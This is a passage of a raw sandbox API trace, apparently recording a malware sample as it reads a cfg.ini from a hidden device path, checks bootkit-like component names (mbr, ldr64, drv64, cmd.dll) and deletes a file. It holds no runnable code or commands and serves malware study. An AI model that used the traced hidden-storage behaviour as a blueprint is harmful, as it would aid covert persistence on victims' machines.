MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.733] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.733] IdePortDispatch () returned 0x103 [0119.733] KeWaitForMutexObject () returned 0x0 [0119.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.733] KeLeaveCriticalRegion () [0119.733] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.734] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.734] KeEnterCriticalRegion () [0119.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.734] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.734] KeLeaveCriticalRegion () [0119.734] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.734] KeEnterCriticalRegion () [0119.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.734] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.734] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.734] KeLeaveCriticalRegion () [0119.734] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.734] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.734] KeEnterCriticalRegion () [0119.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.734] ExFreePoolWithTag (P=0xfffffa8003bcaeb0, Tag=0x0) [0119.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.734] KeLeaveCriticalRegion () [0119.734] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.734] ReleaseMutex (hMutex=0xf0) returned 1 [0119.734] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.734] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.734] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.734] KeEnterCriticalRegion () [0119.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.734] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.734] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.734] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.734] IdePortDispatch () returned 0x103 [0119.734] KeWaitForMutexObject () returned 0x0 [0119.735] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.735] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.735] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.735] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.735] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.735] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcafb0 [0119.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.735] KeLeaveCriticalRegion () [0119.735] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.735] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.735] KeEnterCriticalRegion () [0119.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.735] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.735] KeLeaveCriticalRegion () [0119.735] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.735] KeEnterCriticalRegion () [0119.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.735] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.735] IdePortDispatch () returned 0x103 [0119.735] KeWaitForMutexObject () returned 0x0 [0119.735] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.735] KeLeaveCriticalRegion () [0119.735] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.735] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.735] KeEnterCriticalRegion () [0119.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.736] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003491000 [0119.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.736] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.736] IdePortDispatch () returned 0x103 [0119.736] KeWaitForMutexObject () returned 0x0 [0119.736] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.736] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.736] IdePortDispatch () returned 0x103 [0119.736] KeWaitForMutexObject () returned 0x0 [0119.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.736] KeLeaveCriticalRegion () [0119.736] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.737] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.737] KeEnterCriticalRegion () [0119.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.737] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.737] KeLeaveCriticalRegion () [0119.737] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.737] KeEnterCriticalRegion () [0119.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.737] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.737] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.737] KeLeaveCriticalRegion () [0119.737] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.737] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.737] KeEnterCriticalRegion () [0119.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.737] ExFreePoolWithTag (P=0xfffffa8003bcafb0, Tag=0x0) [0119.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.737] KeLeaveCriticalRegion () [0119.737] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.737] ReleaseMutex (hMutex=0xf0) returned 1 [0119.737] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.737] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.737] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.737] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.737] KeEnterCriticalRegion () [0119.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.737] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.737] IdePortDispatch () returned 0x103 [0119.738] KeWaitForMutexObject () returned 0x0 [0119.738] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.738] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.738] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.738] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.738] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.738] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.738] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.738] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.738] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.738] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.738] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.738] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.738] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.738] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.738] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.738] KeLeaveCriticalRegion () [0119.738] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.738] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.738] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.738] KeEnterCriticalRegion () [0119.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.738] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.738] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.738] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.738] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.738] IdePortDispatch () returned 0x103 [0119.738] KeWaitForMutexObject () returned 0x0 [0119.739] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.739] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.739] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.739] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.739] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.739] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.739] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.739] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.739] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.739] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.739] KeLeaveCriticalRegion () [0119.739] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.739] ReleaseMutex (hMutex=0x100) returned 1 [0119.739] Sleep (dwMilliseconds=0x2bf20) [0119.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a91d250, dwHighDateTime=0x1d24fa4)) [0119.746] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.746] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.746] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.746] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.746] KeEnterCriticalRegion () [0119.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.746] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.746] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.746] IdePortDispatch () returned 0x103 [0119.746] KeWaitForMutexObject () returned 0x0 [0119.746] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.746] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.746] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.746] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.746] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.746] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaeb0 [0119.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.746] KeLeaveCriticalRegion () [0119.746] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.746] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.746] KeEnterCriticalRegion () [0119.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.746] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.746] KeLeaveCriticalRegion () [0119.746] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.746] KeEnterCriticalRegion () [0119.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.747] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.747] IdePortDispatch () returned 0x103 [0119.747] KeWaitForMutexObject () returned 0x0 [0119.747] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.747] KeLeaveCriticalRegion () [0119.747] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.747] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.747] KeEnterCriticalRegion () [0119.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.747] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003494000 [0119.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.747] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.747] IdePortDispatch () returned 0x103 [0119.747] KeWaitForMutexObject () returned 0x0 [0119.747] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.747] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.747] IdePortDispatch () returned 0x103 [0119.748] KeWaitForMutexObject () returned 0x0 [0119.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.748] KeLeaveCriticalRegion () [0119.748] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.748] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.748] KeEnterCriticalRegion () [0119.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.748] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.748] KeLeaveCriticalRegion () [0119.748] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.748] KeEnterCriticalRegion () [0119.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.748] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.748] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.748] KeLeaveCriticalRegion () [0119.748] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.748] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.748] KeEnterCriticalRegion () [0119.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.749] ExFreePoolWithTag (P=0xfffffa8003bcaeb0, Tag=0x0) [0119.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.749] KeLeaveCriticalRegion () [0119.749] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.749] ReleaseMutex (hMutex=0xf0) returned 1 [0119.749] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.749] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.749] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.749] KeEnterCriticalRegion () [0119.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.749] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.749] IdePortDispatch () returned 0x103 [0119.749] KeWaitForMutexObject () returned 0x0 [0119.749] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.749] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.749] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.749] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.749] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.749] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaa50 [0119.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.749] KeLeaveCriticalRegion () [0119.749] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.749] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.749] KeEnterCriticalRegion () [0119.749] 